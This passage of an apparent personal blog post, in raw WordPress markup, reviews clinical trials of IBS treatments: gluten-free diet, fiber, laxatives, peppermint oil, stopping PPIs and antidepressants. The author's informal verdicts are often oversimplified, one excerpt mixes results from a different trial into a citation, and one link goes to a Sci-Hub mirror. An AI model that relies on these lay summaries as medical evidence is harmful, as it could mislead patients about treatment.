already responded to a GFD, and then randomized them to continue the diet, or to have the diet “spiked” with gluten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A GFD was associated with reduced global symptoms compared with a control diet (RR = 0.42; 95% CI 0.11 to 1.55; I2= 88%), although this was not statistically significant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/21224837/\">Gluten causes gastrointestinal symptoms in subjects without celiac disease: a double-blind randomized placebo-controlled trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Very skewed women:men ratio. This is “placebo controlled” with normal vs. gluten free muffins. It raises the question of whether the patients could tell the difference between the normal and gluten free muffins, which they probably could.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 34 patients (aged 29-59 years, 4 men) completed the study as per protocol. Overall, 56% had human leukocyte antigen (HLA)-DQ2 and/or HLA-DQ8. Adherence to diet and supplements was very high. Of 19 patients (68%) in the gluten group, 13 reported that symptoms were not adequately controlled compared with 6 of 15 (40%) on placebo (P=0.0001; generalized estimating equation). On a visual analog scale, patients were significantly worse with gluten within 1 week for overall symptoms (P=0.047), pain (P=0.016), bloating (P=0.031), satisfaction with stool consistency (P=0.024), and tiredness (P=0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubmed.ncbi.nlm.nih.gov/26056920/\">Non-Celiac Gluten Sensitivity Has Narrowed the Spectrum of Irritable Bowel Syndrome: A Double-Blind Randomized Placebo-Controlled Trial - PubMed (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one is a better placebo because they gave them gluten packets, which would be harder to tell taste wise from gluten free powder. However, the graphs, which I copied below, are terrible and clearly show overlap between placebo and gluten. I’m not a huge fan of this study or how they presented their information, but there does seem to be some effect.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>. In the second stage after six weeks, patients whose symptoms improved to an acceptable level were randomly divided into two groups; patients either received packages containing powdered gluten (35 cases) or patients received placebo (gluten free powder) (37 cases). Overall, the symptomatic improvement was statistically different in the gluten-containing group compared with placebo group in 9 (25.7%), and 31 (83.8%) patients respectively (p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/OD_XoemmNqpSI_F36_qSnOdqcc9dfpkSZ712k2WQA5RFcrtzeSOnjIQpKS-NGm2n4cGVGEZJqODkglWbw7YHMlXMmaUMX9D0k6B4zVOCye3-DKq-lFEdYV4wPmPieqk-TxUXtTO7\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Fiber</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bran and insoluble fiber are probably not effective in any form of IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective. Linseed seems like it’s probably better. It’s hard to tell because the studies aren’t very good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over a max of 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2014.195\">Sci-Hub | The Effect of Fiber Supplementation on Irritable Bowel Syndrome: A Systematic Review and Meta-analysis | 10.1038/ajg.2014.195 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis has a nice risk ratio graph, which is helpful for us. Note that all the results for bran span both sides of the line, so it’s unclear whether it works.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/O5sBs_qNktbfm4SuhbhzTpMtWB1fNef6bxCWLu4dyA9of6pwe3xHG3f07vmFj36ZKSZnNV08lvZZmaHWbraGqJK0cUM0AmUNXHOz-c73e94R-Te8-6N73phF4cDZiVmlxHFsLExQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Laxatives</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Laxatives work, but they may not prevent constipation, especially in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I didn’t feel like I had to really prove this one, to be honest. I got lazy.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://qualitysafety.bmj.com/content/10/4/268.short\">Effectiveness of laxatives in adults | BMJ Quality &amp; Safety</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bulk&nbsp; (fibre&nbsp; based)&nbsp; laxatives&nbsp; and&nbsp; osmotic</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>laxatives (including lactulose and PEG) are</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>associated with increases in frequency and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>improvements &nbsp; in &nbsp; stool &nbsp; consistency &nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>symptoms of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Little evidence is available at present as to</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>the&nbsp; comparative&nbsp; effectiveness&nbsp; of&nbsp; bulk&nbsp; and</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>non-bulk laxatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There&nbsp; is&nbsp; no&nbsp; good&nbsp; evidence&nbsp; that&nbsp; laxatives</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>prevent constipation in older patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp; stepped&nbsp; approach&nbsp; to&nbsp; laxative&nbsp; treatment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>would seem justified, involving initial inter-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vention with cheaper laxatives, before pro-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ceeding to the more expensive alternatives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There is a pressing need for large compara-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>tive trials of diferent strategies for the man-</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>agement&nbsp; of&nbsp; constipation&nbsp; in&nbsp; adults.&nbsp; This</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>should include comparisons of the effectiveness of diferent classes of laxative.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>+</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Research is also required into the effectiveness&nbsp; of&nbsp; overall&nbsp; dietary&nbsp; change&nbsp; (including increased&nbsp; fluid&nbsp; intake)&nbsp; in&nbsp; the&nbsp; treatment&nbsp; of constipation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Anti spasmodics (dicylomine, peppermint oil, pinaverium, trimebutine)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD003460.pub3/full\">Bulking agents, antispasmodics and antidepressants for the treatment of irritable bowel syndrome - Ruepert, L - 2011 | Cochrane Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a Cochrane review paper. Cochrane is usually seen as the gold standard for reviews, although they’re often too strict.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Also, note that they reverse RR, so RR above 1 is good.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a beneficial effect for antispasmodics over placebo for improvement of abdominal pain (58% of antispasmodic patients improved compared to 46% of placebo; 13 studies; 1392 patients; RR 1.32; 95% CI 1.12 to 1.55; P &lt; 0.001; NNT = 7), global assessment (57% of antispasmodic patients improved compared to 39% of placebo; 22 studies; 1983 patients; RR 1.49; 95% CI 1.25 to 1.77; P &lt; 0.0001; NNT = 5) and symptom score (37% of antispasmodic patients improved compared to 22% of placebo; 4 studies; 586 patients; RR 1.86; 95% CI 1.26 to 2.76; P &lt; 0.01; NNT = 3). Subgroup analyses for different types of antispasmodics found statistically significant benefits for cimteropium/ dicyclomine, peppermint oil, pinaverium and trimebutine. Separate analysis of the studies with adequate allocation concealment found a significant benefit for improvement of abdominal pain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/BkdShau5oAp6vd8zGdnHTfzVSVH6hPYiyRI5-OEWbDr43a1UPFSnj_WpZS1dVWT-w9k39ydZ3KeVsKndvc6XOLssQ_1bl3YZObV3WWH6O8gBMdVYbDpEwhN1owUpUgwQHxNwUD_8\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1590865807000618\">Peppermint oil (Mintoil®) in the treatment of irritable bowel syndrome: A prospective double blind placebo-controlled randomized trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I wanted to look at peppermint oil specifically because that’s what I used to use. It works well according to this study, although note that there’s a rebound between 4 to 8 weeks.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fifty-seven patients with irritable bowel syndrome according to the Rome II criteria, with normal lactose and lactulose breath tests and negative antibody screening for celiac disease, were treated with peppermint oil (two enteric-coated capsules twice per day or placebo) for 4 weeks in a double blind study. The symptoms were assessed before therapy (T0), after the first 4 weeks of therapy (T4) and 4 weeks after the end of therapy (T8).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At T4, 75% of the patients in the peppermint oil group showed a &gt;50% reduction of basal (T0) total irritable bowel syndrome symptoms score compared with 38% in the placebo group (P &lt; 0.009). With peppermint oil at T4 and at T8 compared with T0 a statistically significant reduction of the total irritable bowel syndrome symptoms score was found (T0: 2.19 ± 0.13, T4: 1.07 ± 0.10*, T8: 1.60 ± 0.10*, *P &lt; 0.01 compared with T0, mean ± S.E.M.), while no change was found with the placebo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.minervamedica.it/en/journals/gazzetta-medica-italiana/article.php?cod=R22Y2005N02A0119\">Efficacy of peppermint oil in the treatment of irritable bowel syndrome: a randomized, controlled trial - Gazzetta Medica Italiana Archivio per le Scienze Mediche 2005 April;164(2):119-26 - Minerva Medica - Journals</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Another study showing an effect of peppermint oil, but I wonder if there was a rebound here, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We enrolled 178 consecutive patients affected by IBS, according to the Rome II diagnostic criteria. They were randomized by computer-generated lists to receive either Mintoil 2 capsules t.i.d. before meals for 3 months, or a placebo. A validated questionnaire was administered every 3 weeks to measure the outcome. Data were analysed by χ2 test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results. Ninety-one patients (22 M, 69 F; mean age 41 yrs; range 18-72 yrs) received Mintoil, and 87 patients (23 M, 64 F; mean age 44 yrs; range 21-74 yrs) assumed the placebo. Three patients withdrew from the study because of non IBS-related diseases, and two patients because of pyrosis. No other adverse events were recorded.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Peppermint oil, compared to placebo, improved IBS overall symptoms in 73/91 (80%) vs 31/87 (36%) patients (p&lt;0.02). Particularly, significant improvements were achieved for gastroenteric symptoms, in 88/91 (97%) vs 29/87 (33%) patients (p&lt;0.01), psychical discomfort, in 34/91 (37%) vs 16/87 (18%) patients (p&lt;0.05), and socio-familiar impact, in 69/91 (76%) vs 37/87 (43%) patients (p&lt;0.04).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>Discontinuation of proton pump inhibitors</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This isn’t really an IBS one, but PPIs do lead to SIBO. Discontinuing them may help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1365-2362.2010.02419.x\">Effects of long‐term PPI treatment on producing bowel symptoms and SIBO - Compare - 2011 - European Journal of Clinical Investigation - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I only really wanted one study for this, because it’s pretty well known, but here you go. They gave patients PPI and accidentally gave them IBS. The other patients who weren’t given PPI didn’t get IBS.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Methods Patients with NERD (acid reflux) not complaining of bowel symptoms were selected by upper endoscopy, 24‐h pH‐metry and a structured questionnaire concerning severity and frequency of bloating, flatulence, abdominal pain, diarrhoea and constipation. Patients were treated with esomeprazole 20 mg bid for 6 months. Prior to and after 8 weeks and 6 months of therapy, patients received the structured questionnaire and underwent evaluation of SIBO by glucose hydrogen breath test (GHBT).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results Forty‐two patients with NERD were selected out of 554 eligible patients. After 8 weeks of PPI treatment, patients complained of bloating, flatulence, abdominal pain and diarrhoea in 43%, 17%, 7% and 2%, respectively. After 6 months, the incidence of bowel symptoms further increased and GHBT (glucose hydrogen breath test) was found positive in 11/42 (26%) patients. By a post hoc analysis, a significant (P &lt; 0·05) percentage of patients (8/42) met Rome III criteria for irritable bowel syndrome.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Antidepressants</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antidepressants probably make you feel better if you have IBS, in the same way that therapy would. They don’t have any other effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/ajg/Abstract/2004/05000/Paroxetine_to_Treat_Irritable_Bowel_Syndrome_Not.27.aspx\"><strong>Paroxetine to Treat Irritable Bowel Syndrome Not Responding... : Official journal of the American College of Gastroenterology | ACG (lww.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that well-being improves with paroxetine, which is an antidepressant, but specific IBS related symptoms do not.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In Group 2, overall well-being improved more with paroxetine than with placebo (63.3%vs 26.3%; p = 0.01), but abdominal pain, bloating, and social functioning did not. With paroxetine, food avoidance decreased (p = 0.03) and work functioning was marginally better (p = 0.08). Before unblinding, more paroxetine recipients than placebo recipients wanted to continue their study medication (84%vs 37%; p &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528209181108\">The Effect of Trimipramine in Patients with the Irritable Bowel Syndrome: A Double-Blind Study: Scandinavian Journal of Gastroenterology: Vol 17, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one shows that trimipramine helps when given a bedtime, for both IBS scores and quality of life. However, I’m not entirely sure what this study is measuring, because there’s a lot of vomiting in this study. IBS patients shouldn’t be vomiting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;61 patients were given either 50 mg trimipramine at bedtime or identically looking coded placebo in a prospective study for 4 weeks. The complaints were graded on an analogue scale by both the patients and the physicians. The results showed that the complaint scores were significantly reduced to about half in the placebo group. In the group treated with trimipramine a significantly greater reduction was found for the scores of vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a &nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 